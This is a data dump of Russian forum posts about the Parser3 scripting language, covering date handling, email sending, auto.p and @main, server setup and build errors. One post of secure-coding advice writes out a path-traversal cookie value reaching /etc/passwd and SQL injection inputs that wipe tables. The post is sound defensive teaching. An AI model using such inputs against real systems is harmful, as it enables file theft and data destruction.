"2108","и тот, кто хостит это дело будет платить за всех :)"
"2109","Это уже другой разговор ;-)"
"2111","Я пытаюсь вставить в таблицу в базе строку один столбец которой имеет тип datetime и в него я хочу вставить текущую дату. Чтобы \
её получить я делаю так:\
[code]\
$date_now[^date::now[]]\
[/code]\
и далее для поля с датой в секции value insert запроса пишу пишу: '^date_now.sql-string[]'\
\
\
мне выдается такая фигня\
\
CDBException: The conversion of a char data type to a datetime data type resulted in an out-of-range datetime value.\
The statement has been terminated.\
"
"2112","rtfm"
"2115","чего же мне писать вместо '^date_now.sql-string[]'?"
"2116","Мужики я уже здесь спрашивал насчет sendmail http://www.parser.ru/forum/?id=1687, ничего внятного в ответ не получил.\
Поэтому пытюсь с ним сам разобраться - череп пухнет, но пока держусь.\
Вы уж будьте добры расскажите как ^mail:send[] работает, только поподробнее, то что есть в доке я многократно читал.\
"
"2117","а написал getdate()"
"2120","CDBException: The conversion of a char data type to a datetime data type resulted in an out-of-range datetime value.\
The statement has been terminated.\
"
"2121","Вместо:\
[code]\
@ymd[source]\
$result[CONVERT(char, $source, 111)]\
#end @ymd[]\
[/code]\
в классе mssql для этой функции лучше писать\
[code]\
@ymd[source]\
$result[CONVERT(char, $source, 104)]\
#end @ymd[]\
[/code]\
ибо 111 - это вывод года, месяца и дня по японскому стандарту (согласно доке по MS SQL), а 104 по немецкому (dd.mm.yyyy), что явно более привычно"
"2122","с ним сложнее работать парсером :)\
я получаю дату в виде yyyy/mm/dd или yyyy-mm-dd и с ней работаю :)\
\
и макрос именно поэтому у меня называется ymd а не dmy\
\
(111 - это именно yyyy/mm/dd, и я иногда почитываю Books Online :))) )"
"2125","Чем обусловлено введение в parser'e принципиально инного синтаксиса, по сравнению с популярными языками серверного скриптинга?\
Может быть таким образом достигается быстрая работа транслятора/интерпретатора ?\
В любом случае эта достаточно смелый шаг, поскольку самая большая армия консервативных, ленивых девелоперов просто откажется изучать не традиционный, не С-подобный синтаксис.\
"
"2126","для метода date_format в твоем классе mssql ничего не возвращается, в отличие от того же метода в mysql. Как вариант (достаточно кривой, потому что он отличается от mysql'ого) можно сделать так:\
[code]\
@date_format[source;format_string]\
$result[CONVERT(char, $source, $format_string)]\
#end @date_format[]\
[/code]\
т.е. форматировать дату по таблице кодов которая есть в этой самой books online. Конечно в этом случае нельзя получить многих вариантов формата даты, однако некоторые все таки можно."
"2127","Объясню почему я этого не сделал:\
я переносил то, что написано для MySQL/Oracle на MSSQL. Поэтому меня интересовало только то, что мне нужно для переносимости.\
\
Возможно, если мы начнем много писать под MSSQL (гы-гы-гы) я и буду делать и использовать MS specific методы. Пока мне этого просто не было нужно.\
\
Тебе надо - ты и напиши :)\
\
То, что привел я - это всего-лишь пример, к тому же я сам сказал, что он несовершенен :)"
"2128","C-подобный синтаксис отдыхает при скриптовании, где код \"вкрапляется\" в html. Хороший пример идиотизма - PHP и ASP (это не повод для флейма): там все усиленно пользуются \"вставками\" файлов с header'ом и footer'ом.\
\
Это мое мнение и просьбы сильно не флеймить - все, что основная масса может сказать по этому поводу, я уже слышал ;-)"
"2130","То я не знаю, я не занимаюсь настройками серверной части. \
\
Я занимаюсь \"кодингом\".\
\
С другой стороны, я прочитал то, что ответил тебе ПАФ. Его диагноз - кривой sendmail, его инадо бороть."
"2131","Зачем нужен eval, разве синтаксис арифметического выражения не является настолько уникальным, чтоб\
самоопределять себя?\
\
Почему используются [] там, где в традиционных языках используется ()\
IMHO, @greeting() больше похоже на объявление ф-ии, чем @greeting[] \
\
Зачем делать разный синтаксис для обращения к статическим и не стаическим элементам?\
Пускай это определяется при определении класса, зачем программисту при обращении помнить к\
статическому ли элементу он обращается.\
\
Из учебника я так и не понял, где нужно ставить \"^\", а где нет.\
"
"2132","... где '^' ставить? А то о чем же ты спорить будешь? ;) В смысле нет даже минимального знания предмета. ;-)"
"2134","Ткните меня носом, где в доке чётко написано про использование \"^\"/\
Также хотелось бы услышать про остальные мои замечания.\
Заранее спасибо..."
"2135","По пунктам:\
1. eval\
Неужели в синтаксисе HTML/JavaScript не встречаются символы \"-\", \"+\" и \"=\"?\
А как тогда отделить <font size=\"+1\"> или var j = i + 1 от арифметики парсера?\
\
2. [] и ()\
[] потому что основным типом данных является строка. И в подавляющем большинстве случаев написать ^smth[текст] проще, чем ^smth(\"текст\"). Ясна идея?\
\
3. Разделение абсолютно правильно, ибо статический метод один для всех экземпляров класса, а нестатический - уникален для каждого экземпляра. Это НЕОБХОДИМО помнить. И хорошо, когда об этом напоминает синтаксис.\
\
4. А про птички надо почитать доку дальше чем Введение. Уже в первом уроке есть четкое описание... "
"2136","Цитата из урока1:\
Вот и все, подготовительные работы закончены. Теперь открываем код страницы, где все это должно появиться (например, index.html), и говорим: «Вставить меню навигации». На Parser это называется «вызов метода» и пишется так: ^navigation[] \
\
Потом я встречаю ^if...\
То есть if - это тоже метод ?\
Вы знаете, это неочевидно. Есть ли ещё другие исключения?\
Думаю, об этом стоит написать в учебнике.\
"
"2137","Я потому и спрашиваю каким макаром ^mail:send[] c sendmail контачит (подробно), что борю его вражину."
"2138","Хотя бы до раздела \"Класс cookie\". Потом подумай, зачем ты этот вопрос задавал.\
\
ЗЫ: Любой другой язык изучаешь тоже только на примерах?"
"2139","Или ты хочешь, чтоб мы перевели с C++ на русский содержимое?\
\
See:\
http://www.parser.ru/docs/src/mail_8C-source.htm\
http://www.parser.ru/docs/src/mail_8C.htm#a13\
Ну и остальное до кучи..."
"2141","дык в доке можно и самому найти (все рекомендуют *.chm версию)"
"2142","Случайный вопрос из faq'а на главной странице:\
[quote]Это сделано специально, чтобы в случае ошибки в скрипте злоумышленники не могли ...[/quote]\
А о каких ошибках идет речь? Чего стоит бояться, ведь не хочется, чтобы злоумышленник потер файлы в /www ?"
"2144","Кто нить знает , что из них быстрее работает.\
Не по чужим словам, а по практике!"
"2145","На PIII быстрее делать. :))"
"2146","Дабы люди оценили применение Парсера в тюню промышленных условиях ?\
\
Тот форум, что выкладывал Misha некоторое время назад слишком прост."
"2150","последнее время всё больше и больше прослеживается тендеция не мешать код с форматированием, код отдельно, шаблончики отдельно и поэтому... во чё люди придумали :-)"
"2151","Народ, как ты сам смог убедиться, сайты на парсере делает. Но кто же тебе будет исходники \"коммерческого\" продукта выкладываеть, если они на нем  деньги зарабатывают. И кроме того, сколько ты знаешь коммерческих сайтов на ASP или ColdFusion которые свои исходник всем раздают?\
\
"
"2152","Взбрела мне в голову мысля, а как реализовать её в виде SQL-запроса, ума не приложу.\
\
Есть список топ-10 писателей. Хочу нарисовать pie-chart с одной долькой - сколько реплик из всех принадлежит этим десяти суперграфоманам, но ума не приложу, как получить число реплик этих самых топ-10 [i]одним[/i] SQL-запросом. Это реально сделать, или мне сделать сначала [b]SELECT count(*) from forum[/b], а затем [b]select author, count(cid) as counter from forum group by author limit 10[/b] и сложить цифры в столбце counter?"
"2153","Я бы мог его выложить, но... практически использовать его никто не сможет :)\
Во первых - это xml + xsl и самим парсером выдается только xml.\
Во вторых он заточен для работы с используемым тут imprimatur 1.0 beta pre-release :)\
В третих... я еще не придумал что в третих, но что-то точно есть :)\
\
В принципе, выложить могу. Это 2 класса, которые к тому-же закоментированы мной и используются не только тут...\
\
Думаю, что чуть позже я это выложу."
"2154","Написал пример из Урока 1:\
не хрена не работает - выводит тот самый ^navigation[]\
Чё я не так делаю?"
"2155","Вот я, например, пофиксил баг, о котором сказал Constantine (спасибо ему).\
\
опять таки, свежая версия доступна здесь : www.nexus.org.ua/parser.hrc\
\
или к тебе сразу на мыло апдейты ?"
"2156","В первую очередь - не так задаешь вопрос."
"2158","когда будут win32mysql, win32xml?\
\
и еще, cygwin1.dll из win32tools \"не является исполняемым модулем windows\" (WinXP)."
"2159","знач. Парсер не обрабатывает код - неправильно установил ."
"2160","или мой Левый сайт про парсер...\
http://www.computer.edu.ru/parser/"
"2161","Ты же нехранишь текст в одной таблице и для структуры у тебя отдельная таблица и что мешает создать еще таблицу с \"~рейтингом\" и все дела. Ведь разумней держать и использовать еще одну таблицу, чем делать несколько запросов.  "
"2163","В общем есть ихний апач (не русский). Сначала поставил парсер2 - все работает - но кодировки не меняет. Поставил парсер3 - все вроде правильно работает, но в еррор логах сервера выдается сообщение premature end of script или что-то в этом духе (ошибка 500). На серваке стоит линукс - версию не знаю. Может ли это быть от того, что версия линукса не та? Но, ведь парсер2 работает нормально?"
"2164","Тут наткнулся на милейший SMTP/POP3 Server/Client для локального компутера под Windows - http://courierms.narod.ru/index.html - идеально работает с парсером и вообще является отличной штуковиной для тестирования ^mail:send[] без вылезания в интернет (локальный апач/iis и мускуль все поставили, теперь дело и до почтового сервера дошло). \
\
Я проверял его работу под WinXP и никаких нареканий нет, кроме того, что Norton Antivirus проверяет доставляемую им почту и это никак не отключается (вы открываете страницу с ^mail:send и NAV немедленно начинает checking your uotgoing Email). \
\
Прога весит меньше 400 Kb вместе с логвьюером, бесплатна и не требует инсталляции."
"2165","http://www.parser.ru/docs/lang/mailstats.htm\
\
У меня не получается отослать multipart-письмо. Во-первых, конструкция из доки ^file::load[perfect_life1.jpg] неправильная, parser ругается, что я не указываю - binary или текст я загружаю\
\
[b]native method of file (stateless_class) accepts minimum 2 parameter(s)[/b]\
\
а, во-вторых, если я поправляю эту ошибку, паресер не справляется с формированием тела письма (SMTP-сервер говорит 250 OK - Recipient <sanja@localhost> и замирает, не получая, видимо, правильного тела письма).\
\
В доке непонятность с attach и attachment - какой оператор нужен?\
Описание синтаксиса содержит ошибку:\
\
$.attach[файл] \
$.attach[$.value[файл]  \
$.file-name[имя_файла]] \
\
Должно быть \
\
$.attach[\
 $.attach[$.value[файл]  \
 $.file-name[имя_файла]\
] \
\
да?\
\
ЗЫ: В имени 'perfect_lige2.jpg' - опечатка.\
зы2: текстовые письма уходят без проблем.\
зы3: вот мой код:\
\
[code]<h3>Mail test</h3>\
\
^mail:send[ \
	$.from[\"ААА\" <sanja@localhost>] \
	$.to[\"БББ\" <sanja@localhost>] \
	$.content-type[\
		$.value[multipart/alternative]  \
		$.charset[koi8-r] \
	] \
	$.subject[Test] \
	$.body[ \
		$.text[ \
    		$.content-type[text/plain] \
            $.body[Тест] \
		] \
#		$.attach[\
#	      	$.value[^file::load[binary;/favicon.ico]] \
#			$.file-name[site.ico] \
#		] \
	] \
] [/code]\
\
Как только я раскомментирую четыре строки в конце, всё перестаёт работать.\
"
"2166","Для структуры и для данных у меня одна таблица. Так MySQL устроен.\
\
[code]#\
# Table structure for table 'forum'\
#\
\
CREATE TABLE `forum` (\
  `cid` int(11) NOT NULL auto_increment,\
  `pid` int(11) NOT NULL default '0',\
  `tid` int(11) NOT NULL default '0',\
  `subject` varchar(255) default NULL,\
  `postdate` datetime NOT NULL default '0000-00-00 00:00:00',\
  `author` varchar(255) NOT NULL default '',\
  `cookie` varchar(255) NOT NULL default 'oldforum',\
  `ipaddr` varchar(255) NOT NULL default 'oldforum',\
  `email` varchar(255) default NULL,\
  `message` text,\
  `subscribe` enum('yes','no') NOT NULL default 'no',\
  PRIMARY KEY  (`cid`),\
  KEY `idx_forum_tid` (`tid`),\
  KEY `idx_forum_pid` (`pid`),\
  KEY `idx_forum_author` (`author`)\
) COMMENT='Forum database';[/code]\
\
[quote]Ведь разумней держать и использовать еще одну таблицу, чем делать несколько запросов[/quote]\
\
Для меня - не всегда. Извращаться можно по-разному. Вот на этом форуме, например, тексты реплик вынесены в отдельную таблицу для увеличения скорости выборок - не нужно вытаскивать столбец с текстом  просто для того, чтобы убедиться, что он непустой. Таблица с рейтингом авторов тоже хранится отдельно.\
\
Вопрос в том, что на реализацию каждого такого извращения уходит время. Моё время, которое небесплатное. И если я в каком-то случае проиграю на треть секунды в скорости или упущу в изяществе кода, я выиграю часа три на реализации. При этом я, естественно, отдаю себе отчёт в том, где на оптимизацию можно положить с прибором, а где - категорически нельзя.\
\
А проблему я решил просто - делаю выборку топ-10 авторов с использованием GROUP BY, менюшу их и складываю полученное число в переменную, затем делю его на значение select count(*) from forum. Одного красивого SQL-запроса по это не придумалось, ну и хер с ним. Поскольку страница, на которой это сделано, вызывается нечасто, я стерплю то, что это сделано неэффективно."
"2167","Если коротко, то по инструкции получается фигня. Вот как работает при прописи в httpd.conf :\
\
ScriptAlias \"/_parser_/\" \"c:/web/bb/cgi-bin/\"\
AddHandler parsed-html html\
Action parsed-html \"/_parser_/parser3.exe\"\
\
А если написать в .htaccess: \
\
AddHandler parsed-html html\
Action parsed-html \"/c:/web/bb/cgi-bin/parser3.exe\" в разных комбинациях путей\
\
то при запросе страницы получается вот что:\
\
http://loclahost/bb/cgi-bin/parser3.exe/bb/index.html\
\
И почему это?\
"
"2168","http://www.parser.ru/forum/?id=977"
"2169","Имелось в виду, что сначала сделал все по инструкции и ничего не заработало. Потом переделал на вот этот самый Script Alias и все заработало, но только при условии вставки в httpd.conf. \
В общем сейчас все работает через .htaccess, разобрался... проблема была в неправильно указанном пути"
"2170","Ну, никак не вызывается ничего:)\
в файле размещенным в каталоге сайта (где html все хранятся) создаем файл auto.p и пишем туда следующее: \
@main[]\
^navigation[] # эта функция списана с урока и при вызове напрямую из хтмл все работает. А не работает, когда в хтмл нет вызовов. Насколько я понимаю, main все равно ведь должна работать, даже если в хтмл нет обращений к функциям? Или я не прав и надо вставить что-нибудь парсеровское? Тогда, что включить?\
\
"
"2171","Кстати, ssh тут не помощник, и даже chown, поскольку не каждый админ дает права менять ownership (мой случай)."
"2172","код действительно не выполняется когда в коде страницы не определен ни один метод. Можно просто вставить @auto[] и все заработает."
"2173","Я хочу собрать модуль Apache из исходников под Windows.\
\
1. Помещаю исходники в корень диска в каталог parser3project\
\
2. Запускаю dsw файл\
\
3. Выбираю кокфигурацию ApacheModuleParser3 - Win32 release\
\
Пытаюсь скомпилировать и мне выдается ошибка:\
[code]\
Error executing d:\\windows\\system32\\cmd.exe.\
[/code]\
Кто-нибудь с таким сталкивался?"
"2176","А я тут блин два дня на это угрохал:( Спасибо!"
"2179","неявный untaint помогает жить... но думать не отменяет:\
\
0.\
имя файла слишком важный вопрос, чтобы доверять посетителю сайта.\
НИКОГДА не делайте так:\
[code]\
^file::load[text;$cookie:look-n-feel]\
[/code]\
чтобы не получить в cookie\
[code]\
/../../../../etc/passwd\
[/code]\
\
1.\
если в базу пишется число, НЕ забывайте делать...\
[code]\
    ^form:field.int[]\
[/code]\
...чтобы не получилось:\
[code]\
    ?id=1 or 1\
    delete from table where id=$form:id\
    =delete from table where id=1 or 1\
    =delete from table\
    =смерть данных этой table\
[/code]\
2.\
НИКОГДА данные из ненадёжного источника не должны подставляться в запрос\
просто-так, чтобы не получилось:\
[code]\
    ?what=users%00\
    #а задумывалось{скверно}, скажем, \"orders\" или \"sessions\"\
    delete from $form:what where ....\
    =delete from users\
    =смерти данных таблицы users\
[/code]"
"2180","В общем если все сделать как в уроке, то в хтмл выдается следующее:\
\
c:/my webs/b/index.html(5:1): parse error, expecting `$'  type: parser.compile\
а на этой 5 строчке у меня всего навсего:\
@auto[] (кстати, без разницы, там может стоять и @greetings как в уроке). \
в файле auto.p:\
\
@main[]\
^header[]\
^body[]\
^footer[]\
\
@header[] \
<html> \
ну и так далее....\
\
Проблема не может заключаться в конфигурации? У меня все работает пока я не начинаю пытаться вызвать этот самый main. Кодировка нормально выдается, все функции определенные в auto.p при их вызове из хтмл тоже нормально работают. В чем проблема?"
"2181","я просто показал один из возможных вариантов, который может и не работать у тебя."
"2183","В auto.p пишу в самом начале:\
 \
@main[]\
бла-бла\
\
В хтмл\
\
^navigation[] (Просто для примера)\
\
Если верить инструкции, функция main запускается автоматически и ее не надо указывать. В результате navigation выводится а бла-бла нет... Проверил конфигурацию еще раз - все правильно, чарсеты и так далее работают правильно.\
Если я прямо указываю в хтмл ^main[] то парсер говорит \
\
call canceled - endless recursion detected\
main\
\
c:/my webs/b/index.html(5)\
exception.type=parser.runtime \
\
И почему это @main[] у меня не работает? Кто бы мне сказал?\
"
"2184","http://parser.ru/docs/lang/mainclass.htm\
\
полагал очевидным…"
"2185","Ты говоришь, что у тебя \"В результате navigation выводится а бла-бла нет...\"...\
\
Как она выводится-то, если у тебя не выззывается @main[]?\
\
Давай определимся... У тебя есть auto.p, в нем есть @main[] - так?\
\
У тебя есть index.html - в нем есть @main[]?\
\
Если есть, то @main[] из auto.p не вызовется. Он перекрыт... Если нету, и у тебя есть только @main[] в auto.p, а в index.html написан какой-нить @body[] (но не описан @main[]) - то вызовется @main[] из auto.p\
"
"2186","[админ исправит давнюю недоделку с минуты на минуту]"
"2187","1. очепятки кажется поправили.\
2. по моему это правильно (я просто никогда не юзал первый вариант):\
[code]\
$.attach[файл]\
\
или\
\
$.attach[$.value[файл]\
$.file-name[имя_файла]]\
[/code]\
\
Про твой код - неправильно задана кодировка (в доке ошибка, по моему)\
\
У $.text[] она должна быть задана точно так-же как и у письма... content-type - это хеш.\
\
Вот мой код, который послал письмо :)\
[code]\
^mail:send[\
$.from[\"ААА\" <misha@design.ru>]\
$.to[\"БББ\" <misha@design.ru>]\
$.content-type[\
	$.value[multipart/alternative] \
	$.charset[koi8-r]\
]\
$.subject[Test]\
$.body[\
	$.text[\
		$.content-type[\
			$.value[text/plain] \
			$.charset[koi8-r]\
		]\
		$.body[Тест]\
	]\
	$.attach[\
		$.value[^file::load[binary;/favicon.ico]]\
		$.file-name[site.ico]\
	]\
]\
]\
[/code]"
"2188","вот..."
"2190","Сообщения от SMTP-сервера [b]Send data. End with CRLF.CRLF[/b] в логе нет - SMTP замирает на этом месте, а потом убивает соединение по таймауту.\
 "
"2191","а посмотреть как-нибудь, почему \"замирает\", как понимаю, \"милейший\" из письма…\
http://parser.ru/forum/?id=2164\
нет возможности?\
\
что там ему \"видимо\" хорошо видно, если есть режим отладки. если нет, sniffer'ом… "
"2192","Судя по всему, SMTP-шник продолжает ждать продолжения заголовка письма в то время, пока персер считает, что всё уже передал...\
\
[quote]если есть режим отладки[/quote]Нету. Жаль. Но от трехсоткилобайтной игрушки чего требовать?\
\
Нормального SMTP у меня под рукой нет (CD с WinXP нету, а поскольку я не на работе, отправить письмо через рабочий мейлсервер и поглядеть логи не смогу). \
\
А сниффер - это идея. Не предложите ли какой-нибудь из тех, что можно быстро скачать и проверить, если знаете?"
"2193","В хтмл есть только:\
^navigation[]\
\
В auto.p есть только:\
@main[]\
бла-бла\
\
@navigation[]\
тра-та тра-та\
\
\
\
В результате должно выведено на экран бла-бла и тра-та тра-та (поскольку сказано, что main запускается автоматически). А @navigation я вызываю прямым указанием в тексте хтмл. \
\
А у меня все что определено в main не показывается!"
"2194","cvs -d :pserver:anonymous@cvs.parser.ru:/parser3project get win32apache13 \
cvs [server aborted]: there is no repository /parser3project/win32apache13"
"2195","Я не понимаю одного: Если в примерах четко написано, что класть в auto.p и что писать в index.html то при чем здесь конкретно я? Я ничего не изменяю в тексте примера изначально, пытаюсь все это дело проверить и получаю результат о котором я уже говорил. Я бы хотел все таки услушать - в примерах, что не все сказано? Или одни и те же примеры в разных системах могут работать по разному? Я, еще раз говорю, если я делаю то, что написано в справке по парсеру3, у меня злополучный main если и запускается, то ничего не выводит. И вопрос у меня заключается в том, почему это происходит, если ни одной инструкции по отношению к приведенной в документации я не изменяю. Может быть просто примеры неправильные? Это я сомневаюсь, конечно... "
"2196","если в html есть ^navigation[] значит тут есть неявный @main[]\
\
если бы в нем было только описание макроса:\
@navigation[]\
тут альтернативная навигация\
\
то вызвался бы @main[] из auto.p"
"2197","У тебя вызывается в index.html метод ^navigation[], так как он явно вызван. Если ты хочешь вызвать из index.html метод @main, то ничего не надо делать - он сам вызовется. Если ты хочешь переопределить какие-то методы, то переопредели их. Например, для переопределения метода ^navigarion[] вставь:\
[code]@navigation[]\
Переопределенный в index.html метод ^navigation[]\
#end of @navigation[/code]\
вот и все. \
"
"2198","\"...Поставил парсер3 - все вроде правильно работает...\"\
что работает, если ничего не работает? :)"
"2199","А если я в хтмл вставляю:\
\
@navigation[]\
dad \
\
то вот результат и тоже происходит если я использую текст второго урока, только в отношении ^greetings[]:\
\
index.html(5:1): parse error, expecting `$'\
exception.type=parser.compile "
"2200","не вызывается @main[]! В этом-то все и дело. А если он как-то и вызывается, я не вижу результата его вывода:\
\
в auto.p\
@main[]\
бла-бла\
\
в Index.html\
^navigation[]\
или все что угодно другое, в том числе и вообще без инструкций парсера. Без разницы, бла-бла автоматически не показывается!"
"2201","в репозитарии нет модулей:\
\
win32xml\
win32mysql \
win32pgsql \
win32oracle "
"2202","Т.к. не понятно, когда ты допустил ошибку делая по сайтик примерам..."
"2203","Мое предложение :\
Вынести в ФАК описание глюков и установок парсера на\
valuehost,hoha.ru и т.д. хостинги.\
\
Ибо форум захламляется, я вот хотел поставить \"птичку\"-\"получать\
все на мыло\", но передумал, понимая, что половину мессаг я буду получать о хостинге %(\
\
вот.\
\
P.S. Или отдельный форум для хостеров."
"2204","index.html:\
<HTML>\
<HEAD><TITLE>Пример</TITLE>\
</HEAD>\
<BODY>\
@navigation[]\
asdada\
</BODY>\
</HTML>\
\
auto.p:\
@main[] \
wsdfsfsfs\
\
результат обращения браузера:\
\
c:/my webs/b/index.html(5:1): parse error, expecting `$'\
exception.type=parser.compile \
\
"
"2205","при попытке компиляции появляется окно:\
\
Заголовок:\
gawk.exe - Неверный образ\
\
Текст:\
[quote]\
Приложение или библиотека D:\\parser3project\\win32tools\\cygwin1.dll не является образом программы для Windows NT. Проверьте назначение установочного диска.\
[/quote]\
У меня ОС - Windows XP Pro"
"2206","Я все-таки думаю, что здесь что-то не то с конфигурацией..."
"2207","судя по логу, не заголовка, а данных.\
может быть, что-то ограничено в сервере по объёму?\
\
я видел удобный sniffer pro от NAI"
"2208","Вот у кого-то выработался правильный подход к субж. ?\
\
У меня это выливалось к :\
1. выбока\
2. заворачивание данных столбцов в теги-названия столбцов\
3. XSL поверх\
\
Пример : \
select id,name from table1\
Вывод :\
<rows>\
<id>1</id>\
<name>test 1</name>\
</rows>\
<rows>\
<id>2</id>\
<name>test 2</name>\
</rows>\
\
\
Вопрос :\
Есть ли более правильные методы ?\
А как тогда быть со связванными таблицами и не \"плоским\" XML ?"
"2210","я намекнул, что в доке не написано и дал адрес обновлённой страницы, Миша рассказал. но нет.\
\
если в файле не написано ни одного \
[code]\
@определения_метода[...]\
[/code]\
считается, что файл определяет метод main."
"2211","можно качнуть с оригинала.\
расскажите потом?"
"2212","Если имеется в виду файл index.html\
то при определении в нем:\
\
@my[]\
sdfsfsfsf\
\
выдается вот что:\
c:/my webs/b/index.html(5:1): parse error, expecting `$'\
exception.type=parser.compile \
\
При чем не важно, есть в каталог файл auto.p или нет - результат один и тот же!"
"2213","у меня размер cygwin1.dll который получен из репозитария 1.23 Кб. Я её переписал другой, не помню откуда скачанной, размером 768,840 версии 1003.9.0.0 APIVersion 0.51 BuildDate 2002-01-21 12:48\
\
ошибка исчезла, но при компиляции кода (cgi варианта без XML) все равно есть ошибки, вот листинг компилятора:\
[code]\
--------------------Configuration: classes - Win32 Release--------------------\
Compiling...\
ident.C\
classes.C\
date.C\
double.C\
file.C\
form.C\
hash.C\
image.C\
int.C\
mail.C\
math.C\
op.C\
response.C\
string.C\
table.C\
void.C\
xdoc.C\
xnode.C\
Generating Code...\
Creating library...\
--------------------Configuration: types - Win32 Release--------------------\
Up-to-dating ident.C...\
gawk: fatal: can't open source file \"\\parser3project\\parser3\\src\\ident.awk\" for reading (No such file or directory)\
Compiling...\
ident.C\
pa_valiased.C\
pa_value.C\
pa_vcookie.C\
pa_vfile.C\
pa_vform.C\
pa_vimage.C\
pa_vrequest.C\
pa_vresponse.C\
pa_vstateless_class.C\
pa_vstatus.C\
pa_vstring.C\
pa_vtable.C\
pa_vxdoc.C\
pa_vxnode.C\
pa_wcontext.C\
Generating Code...\
Creating library...\
--------------------Configuration: smtp - Win32 Release--------------------\
Up-to-dating ident.C...\
gawk: fatal: can't open source file \"\\parser3project\\parser3\\src\\ident.awk\" for reading (No such file or directory)\
Compiling...\
comms.C\
smtp.C\
ident.C\
Generating Code...\
Creating library...\
--------------------Configuration: parser3 - Win32 Release--------------------\
Up-to-dating ident.C...\
gawk: fatal: can't open source file \"\\parser3project\\parser3\\src\\ident.awk\" for reading (No such file or directory)\
Compiling...\
ident.C\
pa_pool.C\
pa_threads.C\
parser3.C\
Generating Code...\
Linking...\
parser3.obj : error LNK2001: unresolved external symbol \"char const * * parser3_RCSIds\" (?parser3_RCSIds@@3PAPBDA)\
parser3.obj : error LNK2001: unresolved external symbol \"char const * * types_RCSIds\" (?types_RCSIds@@3PAPBDA)\
parser3.obj : error LNK2001: unresolved external symbol \"char const * * classes_RCSIds\" (?classes_RCSIds@@3PAPBDA)\
parser3.obj : error LNK2001: unresolved external symbol \"char const * * gd_RCSIds\" (?gd_RCSIds@@3PAPBDA)\
parser3.obj : error LNK2001: unresolved external symbol \"char const * * smtp_RCSIds\" (?smtp_RCSIds@@3PAPBDA)\
parser3.obj : error LNK2001: unresolved external symbol \"char const * * main_RCSIds\" (?main_RCSIds@@3PAPBDA)\
Y:\\parser3project\\parser3\\www\\cgi-bin\\parser3.exe : fatal error LNK1120: 6 unresolved externals\
Error executing link.exe.\
\
parser3.exe - 7 error(s), 0 warning(s)\
[/code]"
"2214","это хороший вопрос!! не выработался.\
\
дело в том, что мало понятно, что же более практично.\
\
с одной стороны, красивее сразу иметь dom дерево, которое можно при случае дополнить, или само его куда-то встроить. и это потом пустить под transform. что-то вроде:\
[code]\
^xfragment::sql{...}\
[/code]\
\
с другой стороны, это не в духе Parser. в его духе делать как раз текст в угловых скобках, который потом пойдёт в xdoc::create и только [b]потом[/b] под transform.\
\
с третьей стороны есть mssql, в котором используется (surprize, surprize) модифицированный SQL, с добавленными указаниями на имена тегов и прочее. и очень бы хотелось обобщить, но без разбора sql синтаксиса тут не обойдётся, а очень бы не хотелось. \
\
совсем просто можно сделать что-то такое(решив предварительно, что же удобнее dom или text):\
[code]\
^...sql{select product_id, name from product where ...}[\
   $.list[LIST]\
   $.item[ITEM]\
]\
--\
<LIST>\
  <ITEM>\
     <product_id>…</product_id>\
     <name>…</name>\
     …\
  </ITEM>\
</LIST>\
\
[/code]\
\
на уровне идеи обитает такое(в духе oracle/psql работы с blob):\
[code]\
^...sql{select/*xml:LIST/ITEM*/ product_id, name/*xml:ALTERNATE_NAME*/ from product where ...}\
[/code]"
"2215","Следует писать в том случае если:\
1. Главное. Удалось установить на какой-либо платный/бесплатный хостинг. Описать все действия по установке + версии системы, парсера, и прочее. Полезно писать и о проблемах, которые [b]были решены[/b].\
2. Менее главное. Проблемы хостеров. А именно: они не хотят ставить парсер, они не хотят его поддерживать, они не дают настраивать через .htaccess... Пожалуйста, только обоснованые сообщения.\
\
Автоматически отправлю в trash письма, содержащие:\
1. Просьбы помочь установить (особенно, без [b]полного[/b] описания всего и вся) - для этого есть форум.\
2. Неаргументированные (не подтвержденные саппортом хостинга) сообщения о неработоспособности парсера - проверять все и общаться с саппортом у меня нет ни времени ни желания - это дело клиента.\
\
Как только наберу достаточно информации - выложим соответствующий раздел.\
\
Если уже писали об этом хостере в форум - не поленитесь, вдумчиво отпишите мне на мыло, чем четче расскажете, тем быстрее будет раздел."
"2216","а перед [code]@my[][/code] не имеет ли место четыре строки с мусором?\
\
как тут: http://parser.ru/forum/?id=2204"
"2217","У тебя в нем в момент неявного определения @main идет определение @navigation, что не правильно.\
Правильно:\
1. В index.html написать ^navigation[]\
2. В auto.p написать @navigation[] и его код."
"2218","Подкреплю сказанное :\
select a.id,b.name from table1 a,table2 b\
\
Хочется иметь не такое :\
\
<rows>\
<id>1</id>\
<name>test</name>\
</rows>\
\
<rows>\
<id>1</id>\
<name>test2</name>\
</rows>\
\
a такое :\
<rows>\
<id>1</id>\
<name>test</name>\
<name>test2</name>\
</rows>\
\
Т.е. \"правильный\" XML.\
\
Вот в чем вопрос. © Не мой"
"2219","мылом ответил\
\
друзья, давайте не будем замусоривать форум деталями?"
"2220","то есть <html> ... <body>? Да имеет, а что разве я должен исключать совсем html тэги при запуске функций из main? А если функции просто текстовые типа \
@main[]\
aaaaaa\
\
?"
"2221","кстати то была проблема с путями, сейчас все ОК"
"2223","auto.p:\
@main[] \
wsdfsfsfs\
\
@navigation[]\
jkljlkjlj\
\
index.html:\
<HTML>\
<HEAD><TITLE>Пример</TITLE>\
</HEAD>\
<BODY>\
^navigation[]\
</BODY>\
</HTML>\
\
результат:\
\
<HTML>\
<HEAD><TITLE>Пример</TITLE>\
</HEAD>\
<BODY>\
jkljlkjlj\
</BODY>\
</HTML>\
\
то есть то, что в main определено не отображается. Об чем и шла речь с самого начала... Почему!!!!!"
"2225","Это:\
[code]\
<HTML>\
<HEAD><TITLE>Пример</TITLE>\
</HEAD>\
<BODY>\
^navigation[]\
</BODY>\
</HTML>\
[/code]\
\
что написано у тебя в index.html - это и есть @main[]!!!\
\
Т.е. @main[], определенный в auto.p - перекрыт! И НЕ вызовется. Тебе показали место в доке, где есть про это."
"2226","А я другого способа не вижу, как перелопачивание дерева и перестановка его узлов.\
\
IMHO тогда действительно стоит задуматься, стОит ли ?\
\
Выходит полноценный XML/XSL - кардинально другой подход, где приходится заменять решения совсем другими методами.\
\
Тогда при планировании задачи стоит задуматься - изберать применения XML или нет ?\
\
На сегодняшний день только в .NET есть реальная интеграция с XML.\
Передача данных там осуществляется через промежуточные DataSet,DataView классы, которые и занимаются преобразованиями.\
\
Парсеровцам : Оправдано ли будет внедрение подобных механизмов в Parser в будущем ?"
"2227","А чем тебя CommuniGate не устраивает ???"
"2228","Продолжаем разговор...\
\
